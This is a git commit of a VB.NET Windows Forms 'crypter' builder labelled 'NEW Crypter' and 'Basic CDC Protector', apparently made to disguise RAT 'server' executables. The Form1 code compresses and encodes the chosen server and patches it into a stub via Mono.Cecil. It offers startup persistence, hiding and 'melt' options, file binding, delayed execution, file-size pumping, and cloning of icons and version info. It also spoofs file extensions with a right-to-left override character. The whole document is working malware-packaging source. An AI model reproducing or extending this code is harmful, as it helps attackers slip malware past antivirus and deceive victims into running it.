initial commit
This commit is contained in:
@@ -0,0 +1,128 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{8DCDC538-0474-486C-9BE3-3429641D20F6}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>Builder.My.MyApplication</StartupObject>
|
||||
<RootNamespace>Builder</RootNamespace>
|
||||
<AssemblyName>Builder</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>Builder.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>Builder.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<ApplicationIcon>NEW Crypter.ico</ApplicationIcon>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="Resources\Res.ini" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="NEW Crypter.ico" />
|
||||
<None Include="Resources\res.exe" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
+1125
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,675 @@
|
||||
Imports Microsoft.VisualBasic.CompilerServices
|
||||
Imports System.Runtime.CompilerServices
|
||||
Imports System.IO
|
||||
Imports System.Runtime.InteropServices
|
||||
Imports System.Security
|
||||
Imports System.IO.Compression
|
||||
Imports System.CodeDom.Compiler
|
||||
Imports System.ComponentModel
|
||||
Imports Mono.Cecil
|
||||
Imports Mono.Cecil.Cil
|
||||
Imports System.Security.Cryptography
|
||||
Imports System.Text.RegularExpressions
|
||||
Imports System.Text
|
||||
|
||||
Public Class Form1
|
||||
Dim TheEOF As String
|
||||
Dim EOF_Data As String = String.Empty
|
||||
Dim c, oo, dd As New OpenFileDialog
|
||||
Dim FileDdD As New OpenFileDialog
|
||||
Dim FileDD As New SaveFileDialog
|
||||
Dim dialog As New SaveFileDialog
|
||||
|
||||
#Region "Functions & Subs"
|
||||
#Region " Global Variables "
|
||||
Dim Point As New System.Drawing.Point()
|
||||
Dim X, Y As Integer
|
||||
#End Region
|
||||
#Region " GUI "
|
||||
Private Sub Main_MouseMove(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Point = Control.MousePosition
|
||||
Point.X = Point.X - (X)
|
||||
Point.Y = Point.Y - (Y)
|
||||
Me.Location = Point
|
||||
End If
|
||||
|
||||
End Sub
|
||||
Private Sub Main_MouseDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown
|
||||
X = Control.MousePosition.X - Me.Location.X
|
||||
Y = Control.MousePosition.Y - Me.Location.Y
|
||||
End Sub
|
||||
|
||||
#End Region
|
||||
'Eof read and write
|
||||
Public Function ReadEOFData(ByRef FilePath As String) As String
|
||||
On Error GoTo errorhandle
|
||||
Dim sEOFBuf, sFileBuf, sChar As String
|
||||
Dim lPos2, lFF, lPos, lCount As Integer
|
||||
If Dir(FilePath) = "" Then GoTo errorhandle
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
FileGet(lFF, sFileBuf)
|
||||
FileClose(lFF)
|
||||
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
|
||||
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
|
||||
ReadEOFData = StrReverse(sEOFBuf)
|
||||
If ReadEOFData = "" Then
|
||||
End If
|
||||
Exit Function
|
||||
errorhandle:
|
||||
ReadEOFData = String.Empty
|
||||
End Function
|
||||
Public Function GetNullBytes(ByRef lNum As Object) As String
|
||||
Dim sBuf As String
|
||||
Dim i As Short
|
||||
For i = 1 To lNum
|
||||
sBuf = sBuf & Chr(0)
|
||||
Next
|
||||
GetNullBytes = sBuf
|
||||
End Function
|
||||
Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
|
||||
Dim sFileBuf As String
|
||||
Dim lFF As Integer
|
||||
On Error Resume Next
|
||||
If Dir(FilePath) = "" Then Exit Sub
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
FileGet(lFF, sFileBuf)
|
||||
FileClose(lFF)
|
||||
Kill(FilePath)
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
FilePut(lFF, sFileBuf & EOFData)
|
||||
FileClose(lFF)
|
||||
End Sub
|
||||
'random Letters
|
||||
Public Function Randomisi(ByVal lenght As Integer) As String
|
||||
Randomize()
|
||||
Dim b() As Char
|
||||
Dim s As New System.Text.StringBuilder("")
|
||||
b = "你会讲英语中文吗这个字那个词在英语里是什么意思我想要个不允许吸烟的房间不劳动者不得食האםאתהדובראנגליתעבריתאנירוצהחדרללאעישוןבמהאתהעוסקלמחייתabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()1234567890ךابتثجحخدذرزسشصضطظعغفقكلمنهوي".ToCharArray()
|
||||
For i As Integer = 1 To lenght
|
||||
Randomize()
|
||||
Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1
|
||||
s.Append(b(z))
|
||||
Next
|
||||
Return s.ToString
|
||||
End Function
|
||||
'random numbers
|
||||
Public Function Randomisi2(ByVal lenght As Integer) As String
|
||||
Randomize()
|
||||
Dim b() As Char
|
||||
Dim s As New System.Text.StringBuilder("")
|
||||
b = "123456789".ToCharArray()
|
||||
For i As Integer = 1 To lenght
|
||||
Randomize()
|
||||
Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1
|
||||
s.Append(b(z))
|
||||
Next
|
||||
Return s.ToString
|
||||
End Function
|
||||
'assemblley
|
||||
Sub app()
|
||||
On Error Resume Next
|
||||
If File.Exists(Application.StartupPath & "\res.exe") Then
|
||||
File.Delete(Application.StartupPath & "\res.exe")
|
||||
End If
|
||||
If File.Exists(Application.StartupPath & "\System.res") Then
|
||||
File.Delete(Application.StartupPath & "\System.res")
|
||||
End If
|
||||
System.IO.File.WriteAllBytes(Application.StartupPath & "\res.exe", My.Resources.Res)
|
||||
Dim src As String = My.Resources.String1
|
||||
If File.Exists(Application.StartupPath & "\System.exe") Then
|
||||
File.Delete(Application.StartupPath & "\System.exe")
|
||||
End If
|
||||
Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0")
|
||||
Dim Compiler As VBCodeProvider = New VBCodeProvider(Version)
|
||||
Dim cResults As CompilerResults
|
||||
Dim Settings As New CompilerParameters()
|
||||
With Settings
|
||||
.GenerateExecutable = True
|
||||
.OutputAssembly = Application.StartupPath & "\System.exe"
|
||||
.CompilerOptions = "/target:winexe"
|
||||
.ReferencedAssemblies.Add("System.dll")
|
||||
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||||
.MainClass = "X"
|
||||
End With
|
||||
src = src.Replace("1", TextBox20.Text)
|
||||
src = src.Replace("2", TextBox21.Text)
|
||||
src = src.Replace("3", TextBox22.Text)
|
||||
src = src.Replace("4", TextBox23.Text)
|
||||
src = src.Replace("5", TextBox24.Text)
|
||||
src = src.Replace("6", TextBox25.Text)
|
||||
src = src.Replace("*version*", NumericUpDown20.Value.ToString & "." & NumericUpDown21.Value.ToString & "." & NumericUpDown22.Value.ToString & "." & NumericUpDown23.Value.ToString)
|
||||
src = src.Replace("*fversion*", NumericUpDown24.Value.ToString & "." & NumericUpDown25.Value.ToString & "." & NumericUpDown26.Value.ToString & "." & NumericUpDown27.Value.ToString)
|
||||
cResults = Compiler.CompileAssemblyFromSource(Settings, src)
|
||||
If cResults.Errors.Count > 0 Then
|
||||
For Each CompilerError In cResults.Errors
|
||||
MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Next
|
||||
|
||||
File.Delete(Application.StartupPath & "\res.exe")
|
||||
File.Delete(Application.StartupPath & "\res.log")
|
||||
File.Delete(Application.StartupPath & "\res.ini")
|
||||
File.Delete(Application.StartupPath & "\System.exe")
|
||||
File.Delete(Application.StartupPath & "\System.res")
|
||||
File.Delete(Application.StartupPath & "\System.exe")
|
||||
File.Delete(Application.StartupPath & "\System.res")
|
||||
File.Delete(Application.StartupPath & "\res.exe")
|
||||
File.Delete(Application.StartupPath & "\res.log")
|
||||
File.Delete(Application.StartupPath & "\res.ini")
|
||||
File.Delete(Application.StartupPath & "\res.txt")
|
||||
|
||||
MessageBox.Show("An error occurred. The assembly was not changed.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
|
||||
Exit Sub
|
||||
End If
|
||||
Dim otherfile As String = Application.StartupPath & "\System.exe"
|
||||
Dim resfile As String = Application.StartupPath & "\System.res"
|
||||
|
||||
Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -extract " & otherfile & "," & resfile & ",VERSIONINFO,,")
|
||||
Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -delete " & FileDD.FileName & "," & System.AppDomain.CurrentDomain.BaseDirectory() + "res.exe" & ",VERSIONINFO,,")
|
||||
Shell(System.AppDomain.CurrentDomain.BaseDirectory() & "res.exe -addoverwrite " & FileDD.FileName & "," & FileDD.FileName & "," & resfile & ",VERSIONINFO,1,")
|
||||
|
||||
File.Delete(Application.StartupPath & "\System.exe")
|
||||
File.Delete(Application.StartupPath & "\System.res")
|
||||
File.Delete(Application.StartupPath & "\res.exe")
|
||||
File.Delete(Application.StartupPath & "\res.log")
|
||||
File.Delete(Application.StartupPath & "\res.ini")
|
||||
File.Delete(Application.StartupPath & "\res.txt")
|
||||
|
||||
End Sub
|
||||
'deleteresource
|
||||
<DllImport("kernel32", EntryPoint:="BeginUpdateResourceA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
|
||||
Public Shared Function BeginUpdateResource(<MarshalAs(UnmanagedType.VBByRefStr)> ByRef pFileName As String, ByVal bDeleteExistingResources As Integer) As Integer
|
||||
End Function
|
||||
<DllImport("kernel32", EntryPoint:="EndUpdateResourceA", CharSet:=CharSet.Ansi, SetLastError:=True, ExactSpelling:=True)> _
|
||||
Public Shared Function EndUpdateResource(ByVal hUpdate As Integer, ByVal fDiscard As Integer) As Integer
|
||||
End Function
|
||||
Public Sub FlushIt(ByRef File As String)
|
||||
Form1.EndUpdateResource(Form1.BeginUpdateResource(File, 1), 0)
|
||||
End Sub
|
||||
'Clone
|
||||
Public Function GetPath() As String
|
||||
Return Path.GetTempPath
|
||||
End Function
|
||||
Private Sub clone(ByVal SourceFile As String, ByVal DestinationFiles As String)
|
||||
My.Computer.FileSystem.WriteAllBytes((Me.GetPath & "res.exe"), My.Resources.Res, False)
|
||||
Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -extract ", SourceFile, ",", Me.GetPath, "\\info.res,VERSIONINFO,,"}), AppWinStyle.MinimizedFocus, False, -1)
|
||||
Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -delete ", DestinationFiles, ",", Me.GetPath, "\\res.exe,VERSIONINFO,,"}), AppWinStyle.MinimizedFocus, False, -1)
|
||||
Interaction.Shell(String.Concat(New String() {Me.GetPath, "\\res.exe -addoverwrite ", DestinationFiles, ",", DestinationFiles, ",", Me.GetPath, "\\info.res,VERSIONINFO,1,"}), AppWinStyle.MinimizedFocus, False, -1)
|
||||
End Sub
|
||||
'''''compress & convert
|
||||
Public Shared Function Compress(ByVal bytData() As Byte) As Byte()
|
||||
Using oMS As New MemoryStream()
|
||||
'GZip object that compress the file
|
||||
Using oGZipStream As New GZipStream(oMS, CompressionMode.Compress)
|
||||
'Write to the Stream object from the buffer
|
||||
oGZipStream.Write(bytData, 0, bytData.Length)
|
||||
oGZipStream.Close()
|
||||
ReDim bytData(oMS.ToArray.Length - 1)
|
||||
bytData = oMS.ToArray
|
||||
End Using
|
||||
oMS.Close()
|
||||
End Using
|
||||
Return bytData
|
||||
End Function
|
||||
''تحويل من بايت لسترنج
|
||||
Function BSs(ByVal bb As Byte()) As String
|
||||
Return System.Text.Encoding.Default.GetString(bb)
|
||||
End Function
|
||||
#End Region
|
||||
''بدء التشفير
|
||||
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
|
||||
On Error Resume Next
|
||||
If TextBox1.Text = "" Or TextBox1.Text = "[ Server To Protect Path ]" Then
|
||||
Interaction.MsgBox("Choose File To Protect.!", MsgBoxStyle.Critical, "Basic CDC Protector")
|
||||
Else
|
||||
Timer4.Start()
|
||||
End If
|
||||
ProgressBar1.Value = 0
|
||||
End Sub
|
||||
''اختيار ملف السرفر
|
||||
Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
|
||||
Dim FileDD As New OpenFileDialog
|
||||
With FileDD
|
||||
.Filter = "Application (*.exe) |*.exe"
|
||||
.Title = "Select Server To Cryped | "
|
||||
If .ShowDialog() = Windows.Forms.DialogResult.Cancel Then
|
||||
Exit Sub
|
||||
End If
|
||||
End With
|
||||
TextBox1.Text = FileDD.FileName
|
||||
''فحص لدعم الملف لخاصيه oef
|
||||
TheEOF = ReadEOFData(FileDD.FileName)
|
||||
If TheEOF = Nothing Then
|
||||
Label1.Text = "EOF(Not Recommended)"
|
||||
Label1.ForeColor = Color.Green
|
||||
Else
|
||||
Label1.Text = "EOF(Recommended)"
|
||||
Label1.ForeColor = Color.Red
|
||||
End If
|
||||
End Sub
|
||||
''اختيار الملف المدمج كل الصيغ
|
||||
Private Sub Button7_Click(sender As Object, e As EventArgs) Handles Button7.Click
|
||||
Dim oo As New OpenFileDialog With {.Filter = "Add File (Any File [*.*] | *.*", .ShowHelp = True}
|
||||
If oo.ShowDialog = vbOK Then
|
||||
TextBox6.Text = oo.FileName
|
||||
End If
|
||||
End Sub
|
||||
''اختيار الايقونه
|
||||
Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click
|
||||
Dim o As New OpenFileDialog With {.Filter = "Icon Files (.ico)|*.ico", .ShowHelp = True}
|
||||
If o.ShowDialog = vbOK Then
|
||||
icotxt.Text = o.FileName
|
||||
End If
|
||||
PictureBox2.ImageLocation = c.FileName
|
||||
c.FileName = icotxt.Text
|
||||
End Sub
|
||||
''بدء توليد سترنجات وارقام لمعلومات الملف
|
||||
Private Sub Button6_Click(sender As Object, e As EventArgs) Handles Button6.Click
|
||||
If Button6.Text = "Gen" Or Button6.Text = "Start" Then
|
||||
Timer3.Start()
|
||||
Button6.Text = "Stop"
|
||||
Else
|
||||
Timer3.Stop()
|
||||
Timer3.Stop()
|
||||
Button6.Text = "Start"
|
||||
End If
|
||||
End Sub
|
||||
''''توليد سترنجات وارقام لمعلومات الملف
|
||||
Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick
|
||||
On Error Resume Next
|
||||
TextBox20.Text = Randomisi(10)
|
||||
TextBox21.Text = Randomisi(10)
|
||||
TextBox22.Text = Randomisi(10)
|
||||
TextBox23.Text = Randomisi(10)
|
||||
TextBox24.Text = Randomisi(10)
|
||||
TextBox25.Text = Randomisi(10)
|
||||
NumericUpDown20.Value = Randomisi2(2)
|
||||
NumericUpDown21.Value = Randomisi2(2)
|
||||
NumericUpDown22.Value = Randomisi2(2)
|
||||
NumericUpDown23.Value = Randomisi2(2)
|
||||
NumericUpDown24.Value = Randomisi2(2)
|
||||
NumericUpDown25.Value = Randomisi2(2)
|
||||
NumericUpDown26.Value = Randomisi2(2)
|
||||
NumericUpDown27.Value = Randomisi2(2)
|
||||
End Sub
|
||||
''اختيار ملف لسحب معلوماته
|
||||
Private Sub Button8_Click(sender As Object, e As EventArgs) Handles Button8.Click
|
||||
With dd
|
||||
.Filter = "Executable(*.exe) | *.exe"
|
||||
.Title = "Choose Your File..."
|
||||
.ShowDialog()
|
||||
TextBox5.Text = dd.FileName
|
||||
End With
|
||||
End Sub
|
||||
''كل ما يخص التشفير وكتابه الخصائص
|
||||
Private Sub Timer4_Tick(sender As Object, e As EventArgs) Handles Timer4.Tick
|
||||
Timer4.Stop()
|
||||
Try
|
||||
If Not File.Exists((Application.StartupPath & "\stub.exe")) Then
|
||||
Interaction.MsgBox("Stub Not Found", MsgBoxStyle.Critical, Nothing)
|
||||
Else
|
||||
Dim definition As AssemblyDefinition = AssemblyDefinition.ReadAssembly((Application.StartupPath & "\stub.exe"))
|
||||
Dim definition2 As ModuleDefinition
|
||||
For Each definition2 In definition.Modules
|
||||
Dim definition3 As TypeDefinition
|
||||
For Each definition3 In definition2.Types
|
||||
Dim definition4 As MethodDefinition
|
||||
For Each definition4 In definition3.Methods
|
||||
If (definition4.IsConstructor AndAlso definition4.HasBody) Then
|
||||
Dim enumerator As IEnumerator(Of Instruction)
|
||||
Try
|
||||
enumerator = definition4.Body.Instructions.GetEnumerator
|
||||
Do While enumerator.MoveNext
|
||||
Dim current As Instruction = enumerator.Current
|
||||
If ((current.OpCode.Code = Code.Ldstr) And (Not current.Operand Is Nothing)) Then
|
||||
Dim str As String = current.Operand.ToString
|
||||
If CheckBox1.Checked = True Then
|
||||
EOF_Data = ReadEOFData(TextBox1.Text)
|
||||
End If
|
||||
ProgressBar1.Value = 0
|
||||
''تشفير السرفر
|
||||
Dim bv As Byte() = Compress(System.IO.File.ReadAllBytes(TextBox1.Text)) 'compress
|
||||
Dim sss As String = Convert.ToBase64String(bv)
|
||||
|
||||
If (str = "[serverstring]") Then
|
||||
current.Operand = sss
|
||||
End If
|
||||
ProgressBar1.Value = 10
|
||||
''تفعيل او الغاءتفعيل نسخ السرفر
|
||||
If copyser.Checked = True Then
|
||||
If (str = "[Falsecopyserv]") Then
|
||||
current.Operand = copyser.Checked.ToString
|
||||
End If
|
||||
If (str = "[%temp%]") Then
|
||||
current.Operand = servpath.Text.ToString
|
||||
End If
|
||||
|
||||
If (str = "[copFolder]") Then
|
||||
current.Operand = Randomisi(10)
|
||||
End If
|
||||
If (str = "[copynam]") Then
|
||||
current.Operand = TextBox2.Text
|
||||
End If
|
||||
End If
|
||||
ProgressBar1.Value = 20
|
||||
''تفعيل او الغاءتفعيل تثبيت السرفر
|
||||
If CheckBox7.Checked = True Then
|
||||
If (str = "[startupfalse]") Then
|
||||
current.Operand = CheckBox7.Checked.ToString
|
||||
End If
|
||||
If (str = "[serregname]") Then
|
||||
current.Operand = TextBox7.Text
|
||||
End If
|
||||
End If
|
||||
''تفعيل او الغاء تفعيل اضافه ناخير لعمل السرفر
|
||||
If CheckBox11.Checked = True Then
|
||||
If (str = "[falsesrvsleep]") Then
|
||||
current.Operand = CheckBox11.Checked.ToString
|
||||
End If
|
||||
If (str = "[srvsleeptime]") Then
|
||||
current.Operand = TextBox4.Text
|
||||
End If
|
||||
End If
|
||||
ProgressBar1.Value = 30
|
||||
''تفعيل او الغاء تفعيل دمج ملف
|
||||
If CheckBox1.Checked = True Then
|
||||
If (str = "[falsebind]") Then
|
||||
current.Operand = CheckBox1.Checked.ToString
|
||||
End If
|
||||
If (str = "[bindedstring]") Then
|
||||
Dim aaaaa As String = BSs(Compress(System.IO.File.ReadAllBytes(TextBox6.Text)))
|
||||
current.Operand = aaaaa
|
||||
End If
|
||||
If (str = "[bindtemp]") Then
|
||||
current.Operand = bindpath.Text.ToString
|
||||
End If
|
||||
If (str = "[bindname]") Then
|
||||
current.Operand = TextBox8.Text
|
||||
End If
|
||||
End If
|
||||
''تفعيل او الغاء تفعيل اضافه ناخير لتشغيل الملف المدمج
|
||||
If CheckBox14.Checked = True Then
|
||||
If (str = "[falsebndleep]") Then
|
||||
current.Operand = CheckBox14.Checked.ToString
|
||||
End If
|
||||
If (str = "[bndsleeptime]") Then
|
||||
current.Operand = TextBox3.Text
|
||||
End If
|
||||
End If
|
||||
ProgressBar1.Value = 40
|
||||
''تفعيل او الغاءتفعيل حظر المواقع
|
||||
If CheckBox5.Checked = True Then
|
||||
If (str = "[falseblock]") Then
|
||||
current.Operand = CheckBox5.Checked.ToString
|
||||
End If
|
||||
End If
|
||||
ProgressBar1.Value = 50
|
||||
''تفعيل او الغاءتفعيل اخفاء الاذابه
|
||||
If CheckBox3.Checked = True Then
|
||||
If (str = "[falsemelt]") Then
|
||||
current.Operand = CheckBox3.Checked.ToString
|
||||
End If
|
||||
End If
|
||||
ProgressBar1.Value = 60
|
||||
''تفعيل او الغاءتفعيل اخفاء الملف
|
||||
If CheckBox2.Checked = True Then
|
||||
If (str = "[falsehide]") Then
|
||||
current.Operand = CheckBox2.Checked.ToString
|
||||
End If
|
||||
End If
|
||||
ProgressBar1.Value = 70
|
||||
End If
|
||||
Loop
|
||||
Finally
|
||||
End Try
|
||||
End If
|
||||
Next
|
||||
Next
|
||||
Next
|
||||
With dialog
|
||||
.Filter = "EXE Applications (*.exe)|*.exe"
|
||||
.FileName = "Server.exe"
|
||||
.ShowHelp = True
|
||||
End With
|
||||
If dialog.ShowDialog = vbOK Then
|
||||
definition.Write(dialog.FileName)
|
||||
ProgressBar1.Value = 75
|
||||
''كتابه oef للسرفرات التى تدعمها
|
||||
If CheckBox1.Checked = True Then
|
||||
WriteEOFData(FileDD.FileName, EOF_Data)
|
||||
End If
|
||||
ProgressBar1.Value = 80
|
||||
''تغيير الايقونه
|
||||
If CheckBox4.Checked = True Then
|
||||
If icotxt.Text = "" Or icotxt.Text = "[ Icon To Change Path ]" Then
|
||||
Interaction.MsgBox("Choose Icon To Change Or Unckeck Enable Icon Changer .!", MsgBoxStyle.Critical, "Basic CDC Protector")
|
||||
Else
|
||||
IconInjector.InjectIcon(FileDD.FileName, c.FileName)
|
||||
End If
|
||||
End If
|
||||
ProgressBar1.Value = 85
|
||||
''
|
||||
If CheckBox9.Checked = True Then
|
||||
app()
|
||||
End If
|
||||
ProgressBar1.Value = 90
|
||||
''زياده البايتات
|
||||
If CheckBox10.Checked = True Then
|
||||
Dim filesize As Double = Val(NumericUpDown1.Value)
|
||||
If RadioButton1.Checked Then
|
||||
filesize = filesize * 1024
|
||||
End If
|
||||
If RadioButton2.Checked Then
|
||||
filesize = filesize * 1048576
|
||||
End If
|
||||
If RadioButton3.Checked Then
|
||||
filesize = filesize * 1073741824
|
||||
End If
|
||||
If RadioButton4.Checked Then
|
||||
filesize = filesize * 1099511627776
|
||||
End If
|
||||
Dim filetopump = IO.File.OpenWrite(FileDD.FileName)
|
||||
Dim size = filetopump.Seek(0, IO.SeekOrigin.[End])
|
||||
While size < filesize
|
||||
filetopump.WriteByte(0)
|
||||
size += 1
|
||||
End While
|
||||
filetopump.Close()
|
||||
End If
|
||||
ProgressBar1.Value = 95
|
||||
''نغيير الصيغه
|
||||
If CheckBox8.Checked = True Then
|
||||
Dim str3 As String = Strings.StrReverse(Me.spoofbox.Text)
|
||||
Dim str5 As String = FileDD.FileName.Replace(".exe", "")
|
||||
Dim newPath As String = (str5 & ChrW(8238) & str3 & ".exe")
|
||||
FileSystem.Rename(FileDD.FileName, newPath)
|
||||
|
||||
End If
|
||||
''حذف الريسورس من السرفر
|
||||
If CheckBox6.Checked = True Then
|
||||
Me.FlushIt(FileDD.FileName)
|
||||
End If
|
||||
''سحب معلومات ملف واضافتها للسرفر
|
||||
If CheckBox12.Checked = True Then
|
||||
|
||||
If TextBox5.Text = "" Or TextBox5.Text = "[ File To Clone Info Path ]" Then
|
||||
|
||||
Interaction.MsgBox("Choose File To Clone Info Or Unckeck Enable Cloner .!", MsgBoxStyle.Critical, "Basic CDC Protector")
|
||||
Else
|
||||
clone(dd.FileName, FileDD.FileName)
|
||||
End If
|
||||
End If
|
||||
Threading.Thread.Sleep(1000)
|
||||
ProgressBar1.Value = 100
|
||||
''حذف الملفات الخاصه بتغيير معلوات الاسمبلى
|
||||
File.Delete(Application.StartupPath & "\System.exe")
|
||||
File.Delete(Application.StartupPath & "\System.res")
|
||||
File.Delete(Application.StartupPath & "\res.exe")
|
||||
File.Delete(Application.StartupPath & "\res.log")
|
||||
File.Delete(Application.StartupPath & "\res.ini")
|
||||
File.Delete(Application.StartupPath & "\res.txt")
|
||||
File.Delete(Application.StartupPath & "\System.exe")
|
||||
File.Delete(Application.StartupPath & "\System.res")
|
||||
File.Delete(Application.StartupPath & "\res.exe")
|
||||
File.Delete(Application.StartupPath & "\res.log")
|
||||
File.Delete(Application.StartupPath & "\res.ini")
|
||||
File.Delete(Application.StartupPath & "\res.txt")
|
||||
MsgBox("Your Server Has been Crypted as :" & vbNewLine & dialog.FileName, vbInformation, "DONE!")
|
||||
End If
|
||||
End If
|
||||
Catch : End Try
|
||||
